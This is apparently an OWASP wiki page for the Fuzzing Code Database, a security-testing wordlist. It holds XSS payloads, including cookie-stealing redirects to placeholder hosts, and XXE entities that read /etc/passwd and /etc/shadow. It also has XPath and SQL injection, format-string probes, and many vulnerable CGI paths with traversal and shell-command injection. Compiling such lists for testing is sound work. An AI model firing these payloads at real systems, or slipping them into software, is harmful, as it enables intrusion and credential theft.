id=&quot;&quot;X&quot;&quot;&amp;gt;&amp;lt;a&amp;gt;&amp;lt;b&amp;gt;&amp;lt;script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);&amp;lt;/script&amp;gt;;&amp;lt;/b&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/xml&amp;gt;&quot;<br /> &quot;[\xC0][\xBC]script&amp;gt;document.write(&quot;&quot;XSS-XSS-XSS&quot;&quot;);[\xC0][\xBC]/script&amp;gt;&quot;<br /> &amp;gt;&amp;lt;script&amp;gt;<br /> &quot;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/script&amp;gt;&quot;<br /> &quot;&amp;lt;&amp;lt;script&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;);//&amp;lt;&amp;lt;/script&amp;gt;&quot;<br /> &amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;<br /> '&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;<br /> &quot;%3cscript%3ealert(&quot;&quot;WXSS&quot;&quot;);%3c/script%3e&quot;<br /> %3cscript%3ealert(document.cookie);%3c%2fscript%3e<br /> %3Cscript%3Ealert(%22X%20SS%22);%3C/script%3E<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;lt;/script&amp;gt;<br /> &amp;amp;ltscript&amp;amp;gtalert(document.cookie);&amp;amp;ltscript&amp;amp;gtalert<br /> &amp;lt;xss&amp;gt;&amp;lt;script&amp;gt;alert('WXSS')&amp;lt;/script&amp;gt;&amp;lt;/vulnerable&amp;gt;<br /> &amp;lt;IMG%20SRC='javascript:alert(document.cookie)'&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&quot;<br /> &amp;lt;IMG%20SRC=JaVaScRiPt:alert('WXSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert(&quot;WXSS&quot;)&amp;gt;<br /> &quot;&amp;lt;IMG%20SRC=`javascript:alert(&quot;&quot;'WXSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20&quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;WXSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG%20SRC='javasc<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;jav<br /> ascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20SRC=&quot;&quot;%20&amp;amp;#14;%20javascript:alert('WXSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20DYNSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;IMG%20LOWSRC=&quot;&quot;javascript:alert('WXSS')&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG%20SRC='%26%23x6a;avasc%26%23000010ript:a%26%23x6c;ert(document.%26%23x63;ookie)'&amp;gt;<br /> &amp;lt;IMG%20SRC=javascript:alert('XSS')&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG%20SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> '%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E<br /> &quot;&amp;gt;&amp;lt;script&amp;gt;document.location='http://cookieStealer/cgi-bin/cookie.cgi?'+document.cookie&amp;lt;/script&amp;gt;<br /> %22%3E%3Cscript%3Edocument%2Elocation%3D%27http%3A%2F%2Fyour%2Esite%2Ecom%2Fcgi%2Dbin%2Fcookie%2Ecgi%3F%27%20%2Bdocument%2Ecookie%3C%2Fscript%3E<br /> ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//;alert(String.fromCharCode(88,83,83))//\;alert(String.fromCharCode(88,83,83))//&amp;gt;&amp;lt;/SCRIPT&amp;gt;!--&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;=&amp;amp;{}<br /> '';!--&amp;lt;XSS&amp;gt;=&amp;amp;{()}&quot;<br /> &lt;/pre&gt; <br /> &lt;br&gt; <br /> <br /> === XML Attacks - (Update: 11 August 2009 - Total Statements: 15) ===<br /> &lt;pre&gt;Statements<br /> count(/child::node())<br /> x' or name()='username' or 'x'='y<br /> &amp;lt;name&amp;gt;','')); phpinfo(); exit;/*&amp;lt;/name&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;script&amp;gt;var n=0;while(true){n++;}&amp;lt;/script&amp;gt;]]&amp;gt;<br /> &amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[&amp;lt;]]&amp;gt;SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;alert('XSS');&amp;lt;![CDATA[&amp;lt;]]&amp;gt;/SCRIPT&amp;lt;![CDATA[&amp;gt;]]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;foo&amp;gt;&amp;lt;![CDATA[' or 1=1 or ''=']]&amp;gt;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file://c:/boot.ini&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/passwd&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////etc/shadow&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;?xml version=&quot;&quot;1.0&quot;&quot; encoding=&quot;&quot;ISO-8859-1&quot;&quot;?&amp;gt;&amp;lt;!DOCTYPE foo [&amp;lt;!ELEMENT foo ANY&amp;gt;&amp;lt;!ENTITY xxe SYSTEM &quot;&quot;file:////dev/random&quot;&quot;&amp;gt;]&amp;gt;&amp;lt;foo&amp;gt;&amp;amp;xxe;&amp;lt;/foo&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=I&amp;gt;&amp;lt;X&amp;gt;&amp;lt;C&amp;gt;&amp;lt;![CDATA[&amp;lt;IMG SRC=&quot;&quot;javas]]&amp;gt;&amp;lt;![CDATA[cript:alert('XSS');&quot;&quot;&amp;gt;]]&amp;gt;&quot;<br /> &quot;&amp;lt;xml ID=&quot;&quot;xss&quot;&quot;&amp;gt;&amp;lt;I&amp;gt;&amp;lt;B&amp;gt;&amp;lt;IMG SRC=&quot;&quot;javas&amp;lt;!-- --&amp;gt;cript:alert('XSS')&quot;&quot;&amp;gt;&amp;lt;/B&amp;gt;&amp;lt;/I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=&quot;&quot;#xss&quot;&quot; DATAFLD=&quot;&quot;B&quot;&quot; DATAFORMATAS=&quot;&quot;HTML&quot;&quot;&amp;gt;&amp;lt;/SPAN&amp;gt;&amp;lt;/C&amp;gt;&amp;lt;/X&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;xml SRC=&quot;&quot;xsstest.xml&quot;&quot; ID=I&amp;gt;&amp;lt;/xml&amp;gt;&amp;lt;SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML&amp;gt;&amp;lt;/SPAN&amp;gt;&quot;<br /> &quot;&amp;lt;HTML xmlns:xss&amp;gt;&amp;lt;?import namespace=&quot;&quot;xss&quot;&quot; implementation=&quot;&quot;http://ha.ckers.org/xss.htc&quot;&quot;&amp;gt;&amp;lt;xss:xss&amp;gt;XSS&amp;lt;/xss:xss&amp;gt;&amp;lt;/HTML&amp;gt;&quot;<br /> &lt;/pre&gt; <br /> === Format String Statements - (Update: xx/xx/xx - Total Statements: 28) ===<br /> &lt;pre&gt;%s%p%x%d<br /> .1024d<br /> %.2049d<br /> %p%p%p%p<br /> %x%x%x%x<br /> %d%d%d%d<br /> %s%s%s%s<br /> %99999999999s<br /> %08x<br /> %%20d<br /> %%20n<br /> %%20x<br /> %%20s<br /> %s%s%s%s%s%s%s%s%s%s<br /> %p%p%p%p%p%p%p%p%p%p<br /> %#0123456x%08x%x%s%p%d%n%o%u%c%h%l%q%j%z%Z%t%i%e%g%f%a%C%S%08x%%<br /> f(x)=%s x 123<br /> f(x)=%x x 255<br /> %x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x<br /> %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s<br /> XXXXX.%p<br /> XXXXX`perl -e 'print &quot;.%p&quot; x 80'`<br /> `perl -e 'print &quot;.%p&quot; x 80'`%n<br /> %08x.%08x.%08x.%08x.%08x\n<br /> XXX0_%08x.%08x.%08x.%08x.%08x\n<br /> %.16705u%2\$hn<br /> \x10\x01\x48\x08_%08x.%08x.%08x.%08x.%08x|%s|<br /> ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;id &amp;gt; /tmp/file; exit;<br /> &lt;/pre&gt; <br /> ==== Project Contributor ====<br /> <br /> Project Leader: [[:User:Wagner.elias|'''Wagner Elias''']] <br /> <br /> Reviewer: [[:User:eneves|'''Eduardo Neves''']] <br /> <br /> Contributor: [[:User:ulisses.castro|'''Ulisses Castro''']] [[:User:Adam.muntner|'''Adam Muntner''']] <br /> <br /> ==== Feedback and Participation ====<br /> <br /> We hope you find the Fuzzing Code Database useful. Please contribute to the Project by volunteering for one of the tasks, sending your comments, questions, and suggestions to wagner.elias |at| owasp.org <br /> <br /> ==== Project Identification ====<br /> <br /> {{Template:OWASP Project Identification Tab<br /> | project_name = OWASP Fuzzing Code Database<br /> | project_description = <br /> | leader_name = Wagner Elias<br /> | leader_email = <br /> | leader_username = Wagner.elias<br /> | maintainer_name = <br /> | maintainer_email = <br /> | maintainer_username = <br /> | contributor_name1 = <br /> | contributor_email1 = <br /> | contributor_username1 = <br /> | contributor_name2 = <br /> | contributor_email2 = <br /> | contributor_username2 = <br /> | contributor_name3 = <br /> | contributor_email3 = <br /> | contributor_username3 = <br /> | contributor_name4 = <br /> | contributor_email4 = <br /> | contributor_username4 = <br /> | contributor_name5 = <br /> | contributor_email5 = <br /> | contributor_username5 = <br /> | contributor_name6 = <br /> | contributor_email6 = <br /> | contributor_username6 = <br /> | contributor_name7 = <br /> | contributor_email7 = <br /> | contributor_username7 = <br /> | contributor_name8 = <br /> | contributor_email8 = <br /> | contributor_username8 = <br /> | contributor_name9 = <br /> | contributor_email9 = <br /> | contributor_username9 = <br /> | contributor_name10 = <br /> | contributor_email10 = <br /> | contributor_username10 = <br /> | pamphlet_link = <br /> | mailing_list_name = owasp-fuzzing-code-database<br /> | links_url1 = <br /> | links_name1 = <br /> | links_url2 = <br /> | links_name2 = <br /> | links_url3 = <br /> | links_name3 = <br /> | links_url4 = <br /> | links_name4 = <br /> | links_url5 = <br /> | links_name5 = <br /> | links_url6 = <br /> | links_name6 = <br /> | links_url7 = <br /> | links_name7 = <br /> | links_url8 = <br /> | links_name8 = <br /> | links_url9 = <br /> | links_name9 = <br /> | links_url10 = <br /> | links_name10 = <br /> | project_road_map =<br /> | project_health_status = <br /> | current_release_name = <br /> | current_release_date = <br /> | current_release_download_link = <br /> | current_release_rating = <br /> | current_release_leader_name = <br /> | current_release_leader_email = <br /> | current_release_leader_username = <br /> | last_reviewed_release_name = <br /> | last_reviewed_release_date = <br /> | last_reviewed_release_download_link = <br /> | last_reviewed_release_rating = <br /> | last_reviewed_release_leader_name = <br /> | last_reviewed_release_leader_email = <br /> | last_reviewed_release_leader_username = <br /> | old_release_name1 = <br /> | old_release_date1 = <br /> | old_release_download_link1 = <br /> | old_release_name2 = <br /> | old_release_date2 = <br /> | old_release_download_link2 = <br /> | old_release_name3 = <br /> | old_release_date3 = <br /> | old_release_download_link3 = <br /> | old_release_name4 = <br /> | old_release_date4 = <br /> | old_release_download_link4 = <br /> | old_release_name5 = <br /> | old_release_date5 = <br /> | old_release_download_link5 = <br /> }} __NOTOC__ &lt;headertabs /&gt; <br /> <br /> [[Category:OWASP_Project|Fuzzing Code Database]] [[Category:OWASP_Document]] [[Category:OWASP_Alpha_Quality_Document]]</div>

Adam.muntner https://wiki.owasp.org/index.php?title=Category:OWASP_Fuzzing_Code_Database&diff=80092 2010-03-17T23:15:02Z

<p>Adam.muntner: /* File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4) */</p> <hr /> <div>This database is a collection of several statements used in code injection, fuzzing and brute-force aproach. All too often security professionals rely on their own repositories of statements collected from assessments they've conducted. These repositories are prone to being incomplete or outdated. We want to collect all these statements, merging the statements from several projects like [[WebScarab]], [[WebSlayer]] and [[JBroFuzz]] with member contributions to build a comprehensive dataset of effective statements to provide better testing results. Please add your own statements and check out the statements already added. <br /> <br /> ==== News ====<br /> <br /> '''17 March 2010'''<br /> <br /> *Created new Category: Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563)<br /> *Created new Category: Windows Directory Traversal (Update: 17 March 2010 - Total Statements: 16)<br /> *Created new Category: Generic 8 Directory Deep Traversal Fuzz (17 March 2010 - Total Statements: 879)<br /> *Created new Category: Common Windows CGI (Update: 17 March 2010 - Total Statements: 76)<br /> *Created new Category: File Upload Filter Bypass (Update: 17 March 2010 - Total Statements: 4)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 2)<br /> *Created new Category: Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 7)<br /> *Created new Category: Microsoft-Specific Cross-Platform File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 14)<br /> *Created new Category: Commonly Writable directories File Upload Filter Bypass - Filename Appends (Update: 17 March 2010 - Total Statements: 9)<br /> <br /> '''16 March 2010'''<br /> <br /> *Created new Category: Common Data File Extensions (Update: 16 March 2010 - Total Statements: 863)<br /> *Created new Category: Uncommon Data File Extensions (Update: 16 March 2010 - Total Statements: 284) <br /> *Created new Category: Cold Fusion Default Files - (Update: 16 March 2010 - Total Statements: 65)<br /> *Created new Category: All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2010 - Total Statements: 31)<br /> <br /> <br /> '''02 February 2010'''<br /> <br /> *Created new Category Lotus/Notes Files<br /> <br /> '''11 August 2009''' <br /> <br /> *Created new Category: XML Attacks<br /> <br /> ''Update Statements'' <br /> <br /> *15 new XML Statements <br /> *93 new SQL Injections Statements <br /> *67 new Traversal Directory Statements <br /> *Delete 33 XSS Statement Duplicate <br /> *30 New XSS Statements<br /> <br /> '''7 August 2009''' <br /> <br /> *Updated the objectives of the project.<br /> <br /> '''21 July 2009''' <br /> <br /> *Set the team responsible for the project.<br /> <br /> ==== Goals ====<br /> <br /> This project intend to create a database that concentrate all tools which are based on wordlists such as Webscarab, JBroFuzz, Web Slayer , Dirbuster. and others. In addition to current tools developed by OWASP members we will create a database following a style similar to Open Vulnerability and Assessment Language (OVAL) where any tool can adopt and use a XML file maintained by OWASP. <br /> <br /> In addition, the following functionalities will be included on this project: <br /> <br /> 1 - The statements of ASDR Project 2 - Browser 3 - Operational System 4 - Databases <br /> <br /> An URL will also be published to create an collaborative environment for the maintenance process where the following features are planned: <br /> <br /> 1 - Deploy a process where a new statement can be suggested and registered if is not valid yet and not maintained in other database. <br /> <br /> 2 - A list where besides the statement, a single id will be maintained to identify each statement with a description and the results of the exploitation. <br /> <br /> 3 - Possibility to support users on the report of their own experiences with the statements. <br /> <br /> ==== Statements ====<br /> <br /> === Vulnerable Cross-Platform CGI (17 March 2010 - Total Statements: 563) ===<br /> &lt;pre&gt;# Vulnerable Cross-Platform CGI (17 March 2010) <br /> # fuzz inside cgi directories<br /> # on windows, this is usually /scripts or /bin or /cgi-bin, on unix, usually /cgi-bin, /nph-cgi<br /> # adam.muntner@quietmove.com<br /> <br /> %2e%2e/abyss.conf<br /> .access<br /> .cobalt<br /> .cobalt/alert/service.cgi?service=&lt;img%20src=javascript:alert('XSS')&gt;<br /> .cobalt/alert/service.cgi?service=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> .fhp<br /> .htaccess<br /> .htaccess.old<br /> .htaccess.save<br /> .htaccess~<br /> .htpasswd<br /> .nsconfig<br /> .passwd<br /> .www_acl<br /> .wwwacl<br /> /_vti_pvt/doctodep.btr<br /> 14all-1.1.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> 14all.cgi?cfg=../../../../../../../..{KNOWNFILE}<br /> AT-admin.cgi<br /> AT-generate.cgi<br /> Album?mode=album&amp;album=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc&amp;dispsize=640&amp;start=0<br /> AnyBoard.cgi<br /> AnyForm<br /> AnyForm2<br /> Backup/add-passwd.cgi<br /> C<br /> Count.cgi<br /> DC<br /> DCFORM<br /> File<br /> FormHandler.cgi?realname=aaa&amp;email=aaa&amp;reply_message_template=%2Fetc%2Fpasswd&amp;reply_message_from=sq%40example.com&amp;redirect=http%3A%2F%2Fwww.example.com&amp;recipient=sq%40example.com<br /> FormMail.cgi?&lt;script&gt;alert(\<br /> FormMail.pl<br /> ImageFolio/admin/admin.cgi<br /> LWGate<br /> LWGate.cgi<br /> Upload.pl<br /> Vs<br /> W<br /> YaBB.pl?board=news&amp;action=display&amp;num=../../../../../../../../../..{KNOWNFILE}%00<br /> YaBB/YaBB.cgi?board=BOARD&amp;action=display&amp;num=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp3.cgi?../../../../../../..{KNOWNFILE}<br /> a1stats/a1disp4.cgi?../../../../../../..{KNOWNFILE}<br /> add_ftp.cgi<br /> addbanner.cgi<br /> adduser.cgi<br /> admin.cgi<br /> admin.cgi?list=../../../../../../../../../..{KNOWNFILE}<br /> admin.php<br /> admin.php3<br /> admin.pl<br /> adminhot.cgi<br /> adminwww.cgi<br /> af.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> aglimpse<br /> aglimpse.cgi<br /> alibaba.pl|dir%20..\\..\\..\\..\\..\\..\\..\\,<br /> alienform.cgi?_browser_out=.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2F.|.%2Fetc%2Fpasswd<br /> amadmin.pl<br /> anacondaclip.pl?template=../../../../../../../../../..{KNOWNFILE}<br /> ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> ans/ans.pl?p=../../../../../usr/bin/id|&amp;blah<br /> anyboard.cgi<br /> archie<br /> architext_query.cgi<br /> architext_query.pl<br /> ash<br /> astrocam.cgi<br /> atk/javascript/class.atkdateattribute.js.php?config_atkroot=@RFIURL<br /> auction/auction.cgi?action=<br /> auctiondeluxe/auction.pl<br /> auktion.cgi?menue=../../../../../../../../../..{KNOWNFILE}<br /> auth_data/auth_user_file.txt<br /> awl/auctionweaver.pl<br /> awstats.pl<br /> awstats/awstats.pl<br /> ax-admin.cgi<br /> ax.cgi<br /> axs.cgi<br /> badmin.cgi<br /> banner.cgi<br /> bannereditor.cgi<br /> bash<br /> bb-hist?HI<br /> bb_smilies.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbcode_ref.php?user=MToxOjE6MToxOjE6MToxOjE6Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAK<br /> bbs_forum.cgi<br /> betsie/parserl.pl/&lt;script&gt;alert('XSS')&lt;/script&gt;;<br /> bigconf.cgi?command=view_textfile&amp;file={KNOWNFILE}&amp;filters=<br /> bizdb1-search.cgi<br /> blog/<br /> blog/mt-check.cgi<br /> blog/mt-load.cgi<br /> blog/mt.cfg<br /> bnbform<br /> bnbform.cgi<br /> book.cgi?action=default&amp;current=|cat%20{KNOWNFILE}|&amp;form_tid=996604045&amp;prev=main.html&amp;list_message_index=10<br /> boozt/admin/index.cgi?section=5&amp;input=1<br /> bsguest.cgi?email=x;ls<br /> bslist.cgi?email=x;ls<br /> build.cgi<br /> bulk/bulk.cgi<br /> c_download.cgi<br /> cached_feed.cgi<br /> cachemgr.cgi<br /> cal_make.pl?p0=../../../../../../../../../..{KNOWNFILE}%00<br /> calendar<br /> calendar.php?calbirthdays=1&amp;action=getday&amp;day=2001-8-15&amp;comma=%22;echo%20'';%20echo%20%60id%20%60;die();echo%22<br /> calendar.pl<br /> calendar/calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calendar/index.cgi<br /> calendar_admin.pl?config=|cat%20{KNOWNFILE}|<br /> calender_admin.pl<br /> campas?%0acat%0a{KNOWNFILE}%0a<br /> cart.pl<br /> cart.pl?db='<br /> cartmanager.cgi<br /> cbmc/forums.cgi<br /> ccbill-local.cgi?cmd=MENU<br /> ccbill-local.pl?cmd=MENU<br /> cgforum.cgi<br /> cgi-lib.pl<br /> cgicso?query=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cgicso?query=AAA<br /> cgiforum.pl?thesection=../../../../../../../../../..{KNOWNFILE}%00<br /> cgiwrap<br /> cgiwrap/%3Cfont%20color=red%3E<br /> cgiwrap/~@U<br /> cgiwrap/~JUNK(5)<br /> cgiwrap/~root<br /> change-your-password.pl<br /> classified.cgi<br /> classifieds<br /> classifieds.cgi<br /> classifieds/classifieds.cgi<br /> classifieds/index.cgi<br /> clickcount.pl?view=test<br /> clickresponder.pl<br /> code.php<br /> code.php3<br /> com5..........................................................................................................................................................................................................................box<br /> com5.java<br /> com5.pl<br /> commandit.cgi<br /> commerce.cgi?page=../../../../../../../../../..{KNOWNFILE}%00index.html<br /> common.php?f=0&amp;ForumLang=../../../../../../../../../..{KNOWNFILE}<br /> common/listrec.pl<br /> common/listrec.pl?APP=qmh-news&amp;TEMPLATE=;ls%20/etc|<br /> compatible.cgi<br /> count.cgi<br /> counter-ord<br /> counterbanner<br /> counterbanner-ord<br /> counterfiglet-ord<br /> counterfiglet/nc/<br /> cs<br /> csChatRBox.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csGuestBook.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csLive<br /> csNews.cgi<br /> csNewsPro.cgi?command=savesetup&amp;setup=;system('cat%20{KNOWNFILE}')<br /> csPassword.cgi<br /> csPassword/csPassword.cgi<br /> csh<br /> cstat.pl<br /> cutecast/members/<br /> cvsblame.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=*&amp;rev=&amp;root=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvslog.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> cvsquery.cgi?branch=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;date=&lt;script&gt;alert(document.domain)&lt;/script&gt;<br /> cvsquery.cgi?module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=&amp;dir=&amp;file=&amp;who=&lt;script&gt;alert(document.domain)&lt;/script&gt;&amp;sortby=Date&amp;hours=2&amp;date=week<br /> cvsqueryform.cgi?cvsroot=/cvsroot&amp;module=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;branch=HEAD<br /> dansguardian.pl?DENIEDURL=&lt;/a&gt;&lt;script&gt;alert('XSS');&lt;/script&gt;<br /> dasp/fm_shell.asp<br /> data/fetch.php?page=<br /> date<br /> day5datacopier.cgi<br /> day5datanotifier.cgi<br /> db2www/library/document.d2w/show<br /> db4web_c/dbdirname/{KNOWNFILE}<br /> db_manager.cgi<br /> dbman/db.cgi?db=no-db<br /> dcforum.cgi?az=list&amp;forum=../../../../../../../../../..{KNOWNFILE}%00<br /> dcshop/auth_data/auth_user_file.txt<br /> dcshop/orders/orders.txt<br /> dfire.cgi<br /> diagnose.cgi<br /> dig.cgi<br /> directorypro.cgi?want=showcat&amp;show=../../../../../../../../../..{KNOWNFILE}%00<br /> displayTC.pl<br /> dnewsweb<br /> donothing<br /> dose.pl?daily&amp;somefile.txt&amp;|ls|<br /> download.cgi<br /> dumpenv.pl<br /> edit.pl<br /> empower?DB=whateverwhatever<br /> emu/html/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> emumail/emumail.cgi?type=/../../../../../../../../../../../../../../../..{KNOWNFILE}%00<br /> enter.cgi<br /> environ.cgi<br /> environ.pl<br /> environ.pl?param1=&lt;script&gt;alert(document.cookie)&lt;/script&gt;<br /> erba/start/%3Cscript%3Ealert('XSS');%3C/script%3E<br /> eshop.pl/seite=;cat%20eshop.pl|<br /> ex-logger.pl<br /> excite<br /> excite;IF<br /> ezadmin.cgi<br /> ezboard.cgi<br /> ezman.cgi<br /> ezshopper/loadpage.cgi?user_id=1&amp;file=|cat%20{KNOWNFILE}|<br /> ezshopper/search.cgi?user_id=id&amp;database=dbase1.exm&amp;template=../../../../../../..{KNOWNFILE}&amp;distinct=1<br /> ezshopper2/loadpage.cgi<br /> ezshopper3/loadpage.cgi<br /> faqmanager.cgi?toc={KNOWNFILE}%00<br /> faxsurvey?cat%20{KNOWNFILE}<br /> filemail<br /> filemail.pl<br /> finger<br /> finger.pl<br /> flexform<br /> flexform.cgi<br /> fom.cgi?file=&lt;script&gt;alert('XSS')&lt;/script&gt;<br /> fom/fom.cgi?cmd=&lt;script&gt;alert('XSS')&lt;/script&gt;&amp;file=1&amp;keywords=vulnerable<br /> formmail<br /> formmail.cgi<br /> formmail.cgi?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail.pl<br /> formmail.pl?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> formmail?recipient=root@localhost%0Acat%20{KNOWNFILE}&amp;email=joeuser@localhost&amp;subject=test<br /> fortune<br /> ftp.pl<br /> ftpsh<br /> 